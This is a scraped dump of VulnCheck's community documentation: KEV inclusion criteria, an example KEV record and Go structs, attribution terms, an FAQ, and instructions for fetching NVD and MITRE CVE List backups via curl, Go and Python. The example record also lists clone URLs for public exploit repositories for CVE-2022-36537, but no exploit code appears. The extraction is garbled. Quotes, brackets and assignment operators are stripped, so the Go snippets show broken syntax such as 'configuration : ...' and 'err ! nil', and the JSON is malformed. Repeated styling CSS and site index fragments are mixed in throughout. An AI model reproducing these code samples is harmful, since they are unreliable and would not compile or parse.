KEV. VulnCheck KEV aims to have a straightforward and easy to understand criteria for including a vulnerability in VulnCheck KEV.,{id:4278,title:4256,titles:4279,content:4280,level:174},/community/vulncheck-kev/coverage-criteria#whats-included-in-vulncheck-kev,429,We include any vulnerability publicly-reported as exploited in the wild in VulnCheck KEV. Sometimes, additional clarification questions come up, such as: What about vulnerabilities that have no patch from the vendor?What about end of life systems?What about vulnerabilities that do not have a CVE assigned?What about vulnerabilities that have a CVE assigned, but the CVE record from NIST (or MITRE) is not yet public? In short, none of these restrict the addition of vulnerabilities to VulnCheck KEV. The only prerequisite to adding a vulnerability to VulnCheck KEV is that the vulnerability is publicly-reported as exploited in the wild. In regards to CVE assignment, however, all vulnerabilities in VulnCheck KEV do have a CVE assigned. But on occasion, we see reports of vulnerabilities being exploited in the wild where no such CVE as been assigned. In these cases, VulnCheck, as a CVE Numbering Authority (CNA) will either contact the vendor responsible for CVE assignment or assign a CVE ourselves.,{id:435,title:434,titles:4282,content:4283,level:528},,Integrate with VulnCheck KEV using an open API / JSON schema that is easy to follow. VulnCheck provides VulnCheck KEV as a Community service, helping provide timely visibility into known exploited vulnerabilities. The service is available using the VulnCheck community dashboard, API endpoint and machine readable JSON.,{id:4285,title:4286,titles:4287,content:1201,level:174},/community/vulncheck-kev/schema#vulncheck-kev-api,VulnCheck KEV API,434,{id:4289,title:4290,titles:4291,content:4292,level:174},/community/vulncheck-kev/schema#json-schema,JSON Schema,434,VulnCheck KEV has an easy to follow schema, which is made up of strings, arrays of strings, and times (as well as objects including these data types). Included below is an example VulnCheck KEV record with every field filled out. Included further below are the data structures for parsing this JSON object in the Go programming language.,{id:4294,title:4295,titles:4296,content:4297,level:174},/community/vulncheck-kev/schema#example-vulncheck-kev-entry,Example VulnCheck KEV entry,434,Below is an example complete record for VulnCheck KEV, with all fields filled out. {\n    \vendorProject\: \ZK Framework\,\n    \product\: \AuUploader\,\n    \shortDescription\: \ZK Framework AuUploader servlets contain an unspecified vulnerability that could allow an attacker to retrieve the content of a file located in the web context. The ZK Framework is an open-source Java framework. This vulnerability can impact multiple products, including but not limited to ConnectWise R1Soft Server Backup Manager.\,\n    \vulnerabilityName\: \ZK Framework AuUploader Unspecified Vulnerability\,\n    \required_action\: \Apply updates per vendor instructions.\,\n    \knownRansomwareCampaignUse\: \Known\,\n    \cve\: \n      \CVE-2022-36537\\n    ,\n    \vulncheck_xdb\: \n      {\n        \xdb_id\: \0508bf2f3fce\,\n        \xdb_url\: \https://vulncheck.com/xdb/0508bf2f3fce\,\n        \date_added\: \2022-12-09T11:29:26Z\,\n        \exploit_type\: \initial-access\,\n        \clone_ssh_url\: \git@github.com:agnihackers/CVE-2022-36537-EXPLOIT.git\\n      },\n      {\n        \xdb_id\: \5ba33e292bd5\,\n        \xdb_url\: \https://vulncheck.com/xdb/5ba33e292bd5\,\n        \date_added\: \2022-12-09T14:15:52Z\,\n        \exploit_type\: \initial-access\,\n        \clone_ssh_url\: \git@github.com:Malwareman007/CVE-2022-36537.git\\n      }\n    ,\n    \vulncheck_reported_exploitation\: \n      {\n        \url\: \https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json\,\n        \date_added\: \2023-02-27T00:00:00Z\\n      },\n      {\n        \url\: \https://www.fortinet.com/blog/threat-research/lockbit-most-prevalent-ransomware\,\n        \date_added\: \2023-07-10T00:00:00Z\\n      },\n      {\n        \url\: \https://www.cisa.gov/known-exploited-vulnerabilities-catalog\,\n        \date_added\: \2023-10-12T00:00:00Z\\n      },\n      {\n        \url\: \https://blog.fox-it.com/2023/02/22/from-backup-to-backdoor-exploitation-of-cve-2022-36537-in-r1soft-server-backup-manager/\,\n        \date_added\: \2023-02-22T00:00:00Z\\n      },\n      {\n        \url\: \https://www.rapid7.com/blog/post/2023/03/01/etr-active-exploitation-of-zk-framework-cve-2022-36537/\,\n        \date_added\: \2023-03-01T00:00:00Z\\n      },\n      {\n        \url\: \https://information.rapid7.com/rs/411-NAK-970/images/Rapid7-2023-Mid-Year-Threat-Review.pdf\,\n        \date_added\: \2023-08-17T00:00:00Z\\n      }\n    ,\n    \dueDate\: \2023-03-20T00:00:00Z\,\n    \cisa_date_added\: \2023-02-27T00:00:00Z\,\n    \date_added\: \2023-02-22T00:00:00Z\\n  },{id:4299,title:4300,titles:4301,content:4302,level:174},/community/vulncheck-kev/schema#example-data-structures-for-vulncheck-kev,Example data structures for VulnCheck KEV,434,Below are example data structures for marshalling or unmarshalling VulnCheck KEV data structures. type VulnCheckKEV struct {\n    VendorProject              string `json:\vendorProject\`\n    Product                    string `json:\product\`\n    Description                string `json:\shortDescription\`\n    Name                       string `json:\vulnerabilityName\`\n    RequiredAction             string `json:\required_action\`\n    KnownRansomwareCampaignUse string `json:\knownRansomwareCampaignUse\`\n\n    CVE string `json:\cve\`\n\n    VulnCheckXDB                  XDB             `json:\vulncheck_xdb\`\n    VulnCheckReportedExploitation ReportedExploit `json:\vulncheck_reported_exploitation\`\n\n    DueDate       *time.Time `json:\dueDate,omitempty\`\n    CisaDateAdded *time.Time `json:\cisa_date_added,omitempty\`\n    DateAdded     time.Time  `json:\date_added\`\n}\n\ntype ReportedExploit struct {\n    Url       string    `json:\url\`\n    DateAdded time.Time `json:\date_added\`\n}\n\ntype XDB struct {\n    XDBID       string    `json:\xdb_id\`\n    XDBURL      string    `json:\xdb_url\`\n    DateAdded   time.Time `json:\date_added\`\n    ExploitType string    `json:\exploit_type\`\n    CloneSSHURL string    `json:\clone_ssh_url\`\n} html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:440,title:439,titles:4304,content:4305,level:528},,Leveraging VulnCheck KEV and the data in it, in your own production, solution, or service, is easy to do at no additional cost, but requires prominent attribution to VulnCheck. The terms and conditions of using VulnCheck KEV, its data in whole or in part, either publicly or in cybersecurity product or service, requires prominent attribution to VulnCheck. However, other than this requirement, no additional costs are required. Prominent attribution provides users with an understanding that when VulnCheck data is being used or provided to a user of the service, that the data is labeled as VulnCheck Known Exploited Vulnerabilities or VulnCheck KEV.,{id:4307,title:4308,titles:4309,content:4310,level:174},/community/vulncheck-kev/attribution#vulncheck-kev-attribution-example,VulnCheck KEV Attribution Example,439,Weve created this example to demonstrate how VulnCheck KEV can easily be integrated with proper attribution within a cybersecurity product or service.,{id:4312,title:4313,titles:4314,content:4315,level:174},/community/vulncheck-kev/attribution#vulncheck-kev-attribute-mapping,VulnCheck KEV Attribute Mapping,439,VulnCheck KEV attributes are conveniently mapped to this image for easy reference during integration into your product. If you have questions about VulnCheck KEV data in whole or in part, in one or more cybersecurity products at your company, please reach out to VulnCheck at community@vulncheck.com to receive additional details on the attribution requirements. Including VulnCheck KEV in your open source or commercial product is meant to be free and not incur additional costs, we simply ask for prominent attribution. Thank you.,{id:445,title:444,titles:4317,content:4318,level:528},,Frequently Asked Questions about working with and integrating with VulnCheck KEV. Below are some questions that sometimes come up when folks first learn about VulnCheck KEV.,{id:4320,title:4321,titles:4322,content:724,level:174},/community/vulncheck-kev/faq#frequently-asked-questions,Frequently Asked Questions,444,{id:4324,title:4325,titles:4326,content:4327,level:542},/community/vulncheck-kev/faq#what-is-vulncheck-known-exploited-vulnerabilities-kev-catalog,What is VulnCheck Known Exploited Vulnerabilities (KEV) catalog?,444,4321,VulnCheck Known Exploited Vulnerabilities (KEV) catalog is a free offering that provides security teams and detection engineers with advanced intelligence on vulnerabilities being actively exploited in the wild so they can better manage threats, solve the prioritization challenge and outpace adversaries. VulnCheck KEV was designed to expand on CISA KEV’s foundation: Earlier Visibility into Known Exploited Vulnerabilities (currently, an average of 27 days earlier than CISA KEV)Broader Visibility into Exploited Vulnerabilities not listed on CISA KEV (currently, 80% more vulnerabilities than CISA KEV)Evidence Supported (why the vulnerability is marked as exploited in the wild),{id:4329,title:4330,titles:4331,content:4332,level:542},/community/vulncheck-kev/faq#how-do-i-gain-access-to-vulncheck-kev,How do I gain access to VulnCheck KEV?,444,4321,Signup for a free VulnCheck Community account on https://vulncheck.com,{id:4334,title:4335,titles:4336,content:4337,level:542},/community/vulncheck-kev/faq#how-much-does-vulncheck-kev-cost,How much does VulnCheck KEV cost?,444,4321,Its free! We only ask for prominent attribution to VulnCheck.,{id:4339,title:4340,titles:4341,content:4342,level:542},/community/vulncheck-kev/faq#i-discovered-an-exploited-vulnerability-that-is-not-on-vulncheck-kev-how-can-i-get-the-vulnerability-added-to-vulncheck-kev,I discovered an exploited vulnerability that is not on VulnCheck KEV, how can I get the vulnerability added to VulnCheck KEV?,444,4321,Send us a note with supporting details at support@vulncheck.com.,{id:4344,title:4345,titles:4346,content:4347,level:542},/community/vulncheck-kev/faq#there-appear-to-be-a-few-broken-links-in-vulncheck-kev-and-i-was-curious-why-they-are-there,There appear to be a few broken links in VulnCheck KEV and I was curious why they are there?,444,4321,Our goal is to provide real legitimate sources for known exploited vulnerabilities, however, over time the original content might have been removed or moved due for a multitude of reasons such as acquisition, divestiture, or a website migration. Because of this, we suggest using the Internet Archive to look up older dead links around their date of publish. Also, if you stumble upon a dead link, let us know via support@vulncheck.com and well do our best to get a working replacement.,{id:4349,title:4350,titles:4351,content:4352,level:542},/community/vulncheck-kev/faq#how-does-the-vulncheck-kev-from-vulncheck-differ-from-vulnchecks-exploit-vulnerability-intelligence-product,How does the VulnCheck KEV from VulnCheck differ from VulnChecks Exploit & Vulnerability Intelligence product?,444,4321,VulnCheck KEV represents less than one-tenth of 1% of our commercially-available Exploit & Vulnerability Intelligence product. Below are some of the features of VulnCheck Exploit & Vulnerability Intelligence, which are not included in VulnCheck KEV: Exploit Intelligence\nExploitation timelineExploit maturityExploit availabilityCommercial exploit PoC trackingExploit typeGit clone URLsGit historyCached exploit PoCsExploited by Threat Actors / APTExploited by Ransomware groupsExploited by BotnetsThreat Actors / APT \u003C-> CVE mappingRansomware groups \u003C-> CVE mappingBotnets \u003C-> CVE mappingThreat Actors / APT \u003C-> Cybersecurity Vendor naming schemeOffline backups of all Exploit Intelligence dataSLA: Uptime guaranteesVulnerability Intelligence\nAverage of 10x as many referencesVulnerability StatusVulnerability AliasCVSS v2 Temporal ScoresCVSS v3 Temporal ScoresMITRE ATT&CK mappingMITRE CAPEC mappingAdditional CWE mappingAdditional CWE dataVulnerability categorizationForeign vulnerability data sourcesPackage URL lookup supportOperating System (OS) package manager coverageOpen Source Software (OSS) library package manager coverageEnd-of-Life (EOL) coverage for Operating Systems (OS)Offline backups of all Vulnerability Intelligence dataSLA: Uptime guarantees,{id:450,title:48,titles:4354,content:4355,level:528},,VulnCheck makes it easy to migrate from the NIST NVD to NVD++ from VulnCheck. The NIST National Vulnerability Database (NVD) is a vulnerability database maintained by the National Institute of Standards (NIST). However, consuming the NVD from NIST, has been challenging for some organizations. More recently NIST NVD has slowed the processing of new vulnerabilities as well which has lead us to provising community services to help fill the gap.,{id:4357,title:4358,titles:4359,content:4360,level:542},/community/nist-nvd#what-is-nvd-from-vulncheck,What is NVD++ from VulnCheck?,48,NVD++ is the latest addition to the VulnCheck Community resources to serve security teams and practitioners. In December 2023, VulnCheck announced its first Community resource: perpetual support and maintenance of the NIST NVD 1.0 offline backups, ahead of the migration deadline. NVD++ bundles the 2.0 API with the previously released 1.0 API, including downloadable JSON backup files for each, into a single resource. In March 2024, VulnCheck extended community support to the NIST NVD 2.0 data, including backups and API access. To help the community with the increasing backlog of CVE awaiting analysis, VulnCheck is also enriching the NVD 1.0 and NVD 2.0 with  VulnCheck generated CPE data. In May 2024 we made the decision to add the CVE Programs Mitre CVElist to VulnCheck NVD++ to provide API access to the service. This provides the community with access to both NVD and CVElist in a central place accessible through API.,{id:4362,title:4363,titles:4364,content:4365,level:542},/community/nist-nvd#why-has-vulncheck-released-nvd-to-the-vulncheck-community,Why has VulnCheck released NVD++ to the VulnCheck Community?,48,Many organizations first experience with the NIST NVD was via the NIST NVD 1.0 offline backups (bulk data downloads). Many organizations wrote integrations with these data downloads, which were subsequently halted by NIST. After NIST stopped producing NVD 1.0 offline backups, the NIST then required people to migrate to the NVD 1.0 API. However, on December 15, 2023, this NVD 1.0 API was itself deprecated. With NVD 2.0 from NIST, the offline backups were never resurrected and the NVD 2.0 API from NIST frequently has timeouts or 503 Service Unavailable errors. In early 2024, NIST posted a rather disconcerting message on their website, https://nvd.nist.gov, which made some folks in the Cybersecurity community concerned about NISTs continued involvement in NVD. VulnCheck was one of these concerned organizations and we felt ready to start helping the community that were all part of.,{id:457,title:456,titles:4367,content:4368,level:528},,VulnCheck makes it easy to migrate from the NIST NVD 1.0 to NVD++ from VulnCheck. VulnCheck provides NIST NVD 1.0 and NIST NVD 2.0 as a Community service, past NISTs stated NVD 1.0 deprecation date, which has now passed.,{id:4370,title:4371,titles:4372,content:4373,level:174},/community/nist-nvd/nvd-1-retired#nist-nvd-10-retired-on-december-15-2023,NIST NVD 1.0 Retired on December 15, 2023,456,NIST retired NVD 1.0 APIs on December 15, 2023. The NIST NVD 1.0 offline backups had previously been retired by NIST at an earlier date. VulnCheck makes it easy to migrate from using the NIST NVD 1.0 data feeds from NIST (legacy API or legacy offline backups), to sourcing the NIST NVD 1.0 from VulnCheck, either in the form of API calls or offline backups. To start, if you already consume or previously consumed the NIST NVD, youre likely aware of the challenges, such as frequent API timeouts and aggressive deprecation strategy. To move over to a more reliable platform, simply register for a VulnCheck Community account on https://vulncheck.com and get started with the NIST NVD sourced from VulnCheck. curl --request GET \\\n    --url https://api.vulncheck.com/v3/backup/nist-nvd \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.BackupIndexGet(auth, \nist-nvd\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.backup_index_get(\nist-nvd\)\n\n    print(api_response.data0.url)\nvulncheck backup download nist-nvd,{id:4375,title:4376,titles:4377,content:4378,level:174},/community/nist-nvd/nvd-1-retired#versions-of-nvd-available-to-community-nvd-users,Versions of NVD Available to Community NVD++ Users,456,VulnCheck Community includes two (2) versions of NVD++. These include: IndexSourceDescriptionnist-nvd2NISTNVD 2.0nist-nvdNISTNVD 1.0 generated from NVD 2.0; unlike NIST, supported indefinitely,{id:4380,title:967,titles:4381,content:4382,level:174},/community/nist-nvd/nvd-1-retired#versions-of-nvd-available-to-licensed-subscribers,456,VulnCheck Exploit & Vulnerability Intelligence includes four (4) versions of NVD. These include: IndexSourceDescriptionvulncheck-nvd2VulnCheckNVD 2.0 with VulnCheck extensions (more fields and earlier data)vulncheck-nvdVulnCheckNVD 1.0 with VulnCheck extensions (more fields and earlier data)nist-nvd2NISTNVD 2.0 with an SLAnist-nvdNISTNVD 1.0 with an SLA generated from NVD 2.0; unlike NIST, supported indefinitely html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:462,title:461,titles:4384,content:4385,level:528},,VulnCheck makes it easy to migrate from the NIST NVD 2.0 to NVD++ from VulnCheck. VulnCheck provides NIST NVD 2.0 as a Community service, taking the load off the NIST NVD.,{id:4387,title:461,titles:4388,content:4389,level:174},/community/nist-nvd/nvd-2#nist-nvd-20,461,VulnCheck makes it easy to migrate from using the NIST NVD 2.0 data feeds from NIST, to sourcing the NIST NVD 2.0 data from VulnCheck, either in the form of API calls or offline backups. To start, if you already consume or previously consumed the NIST NVD, youre likely aware of the challenges, such as frequent API timeouts and aggressive deprecation strategy. To move over to a more reliable platform, simply register for a VulnCheck Community account on https://vulncheck.com/community and get started with the NIST NVD sourced from VulnCheck. curl --request GET \\\n    --url https://api.vulncheck.com/v3/backup/nist-nvd2 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.BackupIndexGet(auth, \nist-nvd2\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.backup_index_get(\nist-nvd2\)\n\n    print(api_response.data0.url)\nvulncheck backup download nist-nvd2,{id:4391,title:4376,titles:4392,content:4378,level:174},/community/nist-nvd/nvd-2#versions-of-nvd-available-to-community-nvd-users,461,{id:4394,title:967,titles:4395,content:4382,level:174},/community/nist-nvd/nvd-2#versions-of-nvd-available-to-licensed-subscribers,461,{id:467,title:466,titles:4397,content:4398,level:528},,VulnCheck makes it easy to access MITRE CVE List V5 data. VulnCheck provides the CVE Programs CVE List as a Community service in addition to NVD, providing the complete MITRE CVE JSON accessible through API. We understanding there are benefits and disadvantages to using NVD or MITRE CVE List and we think its important to offer the community a central place to reliably access both services.,{id:4400,title:466,titles:4401,content:4402,level:174},/community/nist-nvd/mitre-cve#mitre-cve-list,466,VulnCheck makes it easy to access the CVE Programs CVE List from VulnCheck, either in the form of API calls or offline backups. To get started, simply register for a VulnCheck Community account on https://vulncheck.com/community and get started with the MITRE CVE List sourced from VulnCheck. curl --request GET \\\n    --url https://api.vulncheck.com/v3/backup/mitre-cvelist-v5 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.BackupIndexGet(auth, \mitre-cvelist-v5\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.backup_index_get(\mitre-cvelist-v5\)\n\n    print(api_response.data0.url)\nvulncheck backup download mitre-cvelist-v5\n:: html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:472,title:471,titles:4404,content:4405,level:528},,Integrate with NVD 1.0 and NVD 2.0 using long established schemas with additional VulnCheck fields The VulnCheck provided NIST NVD 1.0 and NIST NVD 2.0 follow the JSON schemas developed by NIST: NVD 1.0 SchemaNVD 2.0 Schema The only exception to these schemas is where VulnCheck has added CPE enrichment. Adding our CPE data to the same field that NIST populates would only cause confusion, so weve instead added the following fields: vcConfigurations: Exactly the same as the NVD configurations field, but populated by VulnCheck.vcVulnerableCPEs: NVD uses matchCriteriaId to facilitate CPE \unrolling\. VulnCheck has decided to remove this additional step, and include the unrolled CPE in the vcVulnerableCPEs field. Note that, vcConfigurations matchCriteriaId will always be empty because we are using vcVulnerableCPEs instead. However, its a required field in the NIST schema so we elected to leave it.,{id:4407,title:4408,titles:4409,content:4410,level:174},/community/nist-nvd/schema#vulncheck-added-cpe-example-from-nist-nvd-20,VulnCheck Added CPE Example From NIST NVD 2.0,471,The following example of vcConfigurations and vcVulnerableCPEs is from nist-nvd2?cveCVE-2024-28746. Note that the cpeMatch describes the affected versions, and vcVulnerableCPEs lists them. \vcConfigurations\: \n    {\n      \nodes\: \n        {\n          \cpeMatch\: \n            {\n              \vulnerable\: true,\n              \criteria\: 